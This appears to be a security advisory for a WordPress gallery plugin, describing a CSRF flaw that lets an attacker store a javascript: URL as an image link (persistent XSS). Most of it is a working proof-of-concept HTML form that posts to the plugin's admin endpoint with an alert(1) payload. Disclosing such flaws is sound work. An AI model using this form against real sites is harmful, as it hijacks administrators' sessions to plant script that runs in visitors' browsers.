The issue exists because the Gallery image does not protect against CSRF attacks for the requests to edit gallery images. This makes it possible to change gallery image URLs to JavaScript schemas. The JavaScript will be saved. Every time a user clicks on the gallery image the JavaScript will run (Persistent Cross-Site Scripting).
Proof of Concept
Have an authenticated admin visit a webpage with the following form:
<html>
<body>
<form action="http://<wordpress site>/wp-admin/admin.php?page=gallerys_huge_it_gallery&id=2&task=apply&huge_it_nonce=b37a25b33d" method="POST">
<input type="hidden" name="changedvalues" value="11" />
<input type="hidden" name="name" value="New gallery" />
<input type="hidden" name="imagess" value="" />
<input type="hidden" name="order_by_11" value="1" />
<input type="hidden" name="imagess11" value="Foo" />
<input type="hidden" name="titleimage11" value="test" />
<input type="hidden" name="im_description11" value="asd" />
<input type="hidden" name="sl_url11" value="javascript:alert(1)" />
<input type="hidden" name="sl_link_target11" value="" />
<input type="hidden" name="like_11" value="9" />
<input type="hidden" name="dislike_11" value="0" />
<input type="hidden" name="name" value="New gallery" />
<input type="hidden" name="huge_it_sl_effects" value="5" />
<input type="hidden" name="sl_width" value="600" />
<input type="hidden" name="sl_height" value="1" />
<input type="hidden" name="gallery_list_effects_s" value="cubeH" />
<input type="hidden" name="sl_position" value="center" />
<input type="hidden" name="display_type" value="2" />
<input type="hidden" name="content_per_page" value="5" />
<input type="hidden" name="autoslide" value="off" />
<input type="hidden" name="autoslide" value="on" />
<input type="hidden" name="pause_on_hover" value="off" />
<input type="hidden" name="pause_on_hover" value="on" />
<input type="hidden" name="sl_pausetime" value="4000" />
<input type="hidden" name="sl_changespeed" value="1000" />
<input type="hidden" name="rating" value="dislike" />
<input type="hidden" name="task" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
This will change the URL for the image (the image source) to javascript:alert(1). If a user clicks on the image name, the JavaScript will run.
